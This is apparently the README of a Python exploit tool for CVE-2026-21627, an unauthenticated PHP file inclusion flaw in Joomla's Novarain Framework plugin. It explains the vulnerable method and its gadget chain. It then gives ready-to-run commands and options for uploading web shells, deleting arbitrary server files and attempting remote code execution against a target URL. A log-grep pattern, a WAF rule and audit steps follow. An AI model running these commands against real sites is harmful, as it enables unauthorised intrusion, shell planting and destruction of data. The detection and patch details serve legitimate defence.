
Python exploit for CVE-2026-21627, an unauthenticated arbitrary PHP file inclusion in Joomla's Novarain Framework, enabling file upload, delete, and RCE.
Unauthenticated Arbitrary File Inclusion in Joomla's Novarain Framework (nrframework)
A critical vulnerability in the Tassos/Novarain Framework (plg_system_nrframework) Joomla plugin allows unauthenticated attackers to include arbitrary PHP files on the server, instantiate arbitrary classes, and chain with built-in gadget classes to achieve arbitrary file upload and arbitrary file delete — all without authentication.
| CVE ID | CVE-2026-21627 |
| CVSS Score | 9.5 (Critical) |
| Plugin | plg_system_nrframework (Tassos Framework / Novarain Framework) |
| Vulnerable Versions | 4.10.14 through 6.0.37 |
| Fixed In | 6.0.38+ |
| CMS | Joomla 3.x, 4.x, 5.x |
The nrframework plugin is bundled with several popular Joomla extensions from Tassos.gr including Convert Forms, Engage Box, Google Structured Data, and others.
The ajaxTaskInclude() method in nrframework.php is explicitly whitelisted for frontend (non-admin) access via the $non_admin_tasks array. It accepts three user-controlled parameters:
path — uses the RAW input filter (zero sanitization, path traversal possible)file — uses the default Joomla input filterclass — class name to instantiate after inclusionThe concatenated path $path . $file . '.php' is passed directly to @include_once, enabling arbitrary PHP file inclusion. After inclusion, the specified class is instantiated and its onAJAX() method is called with user-controlled parameters.
| Primitive | Gadget | Severity | Description |
|---|---|---|---|
| File Inclusion | ajaxTaskInclude() | Critical | Include any .php file on the server |
| File Delete | JFormFieldNRInlineFileUpload::onRemove() | Critical | unlink() with no path validation — delete any file writable by the web server |
| File Upload | JFormFieldNRInlineFileUpload::onUpload() | High | Upload text files to any writable web-accessible directory |
| Path Disclosure | Upload response | Medium | Full filesystem path leaked in JSON response |
python3 cve_2026_21627.py --target <URL> --mode <MODE> [OPTIONS]
| Mode | Description | Risk |
|---|---|---|
verify | Confirm the vulnerability exists | Safe / Read-only |
upload | Upload a file to a controlled directory | Medium |
delete | Delete an arbitrary file on the server | Destructive |
rce | Attempt full RCE chain (upload + execute) | High |
info | Include arbitrary PHP file for recon | Medium |
Verify vulnerability:
python3 cve_2026_21627.py --target https://example.com --mode verify
Upload proof-of-concept file:
python3 cve_2026_21627.py --target https://example.com --mode upload --shell-type txt
Upload SSI shell (requires Apache mod_include):
python3 cve_2026_21627.py --target https://example.com --mode upload --shell-type shtml
Attempt RCE chain:
python3 cve_2026_21627.py --target https://example.com --mode rce --cmd "id"
Delete a file (destructive):
python3 cve_2026_21627.py --target https://example.com --mode delete --file-path /var/www/html/test.txt
--target, -t Target URL (required)
--mode, -m Exploit mode: verify|upload|delete|rce|info (required)
--sef-prefix Joomla SEF URL prefix (default: /it/)
--delay Delay between requests in seconds (default: 2.5)
--proxy HTTP proxy (e.g. http://127.0.0.1:8080)
--no-ssl-verify Disable SSL certificate verification
Upload mode:
--shell-type File type: shtml|csv|txt|html (default: shtml)
--upload-dir Upload directory relative to JPATH_ROOT (default: images)
--custom-content Custom file content to upload
Delete mode:
--file-path Full server path of the file to delete
RCE mode:
--cmd Command to execute (default: id)
Info mode:
--php-path PHP file path relative to JPATH_SITE
--php-file PHP file name without .php extension
--php-class PHP class to instantiate
┌──────────────┐ ┌───────────────────┐ ┌─────────────────────┐
│ Attacker │───>│ onAjaxNrframework │───>│ ajaxTaskInclude() │
│ │ │ (AJAX router) │ │ │
│ task=include │ │ include is in │ │ path = RAW input │
│ path=... │ │ $non_admin_tasks │ │ @include_once $path │
│ file=... │ │ (no auth needed) │ │ new $class()->onAJAX│
│ class=... │ └───────────────────┘ └──────────┬──────────┘
└──────────────┘ │
v
┌─────────────────────────────────────┐
│ JFormFieldNRInlineFileUpload │
│ (gadget class) │
│ │
│ onAjax() ──> onUpload() [WRITE] │
│ ──> onRemove() [DELETE] │
└─────────────────────────────────────┘
include task is called with a controlled path (RAW filter = no sanitization) pointing to the gadget file.JFormFieldNRInlineFileUpload class provides onUpload() for file writes and onRemove() for file deletes, both with insufficient input validation.requests librarypip install requests
Monitor access logs for exploitation attempts:
# Apache/Nginx log pattern
grep -E "option=com_ajax.*plugin=nrframework.*task=include" access.log
WAF rule — Block requests matching:
option=com_ajax.*plugin=nrframework.*task=include.*path=
Post-compromise audit:
images/ and other writable directories for unexpected filesconfiguration.php and .htaccess@include_once warningsajaxTaskInclude() entirely and replaces it with a strict handler registry (AjaxHandlerRegistry)| Date | Event |
|---|---|
| 2026-02 | Vulnerability discovered during authorized penetration test |
| 2026-02 | Created the exploit |
| 2026-02 | Public disclosure |
This tool is provided for authorized security testing and educational purposes only. Only use this exploit against systems you have explicit written permission to test. Unauthorized access to computer systems is illegal. The author assumes no liability for misuse.
Yallasec — yallasec.com
Arcangelo Saracino — @arkango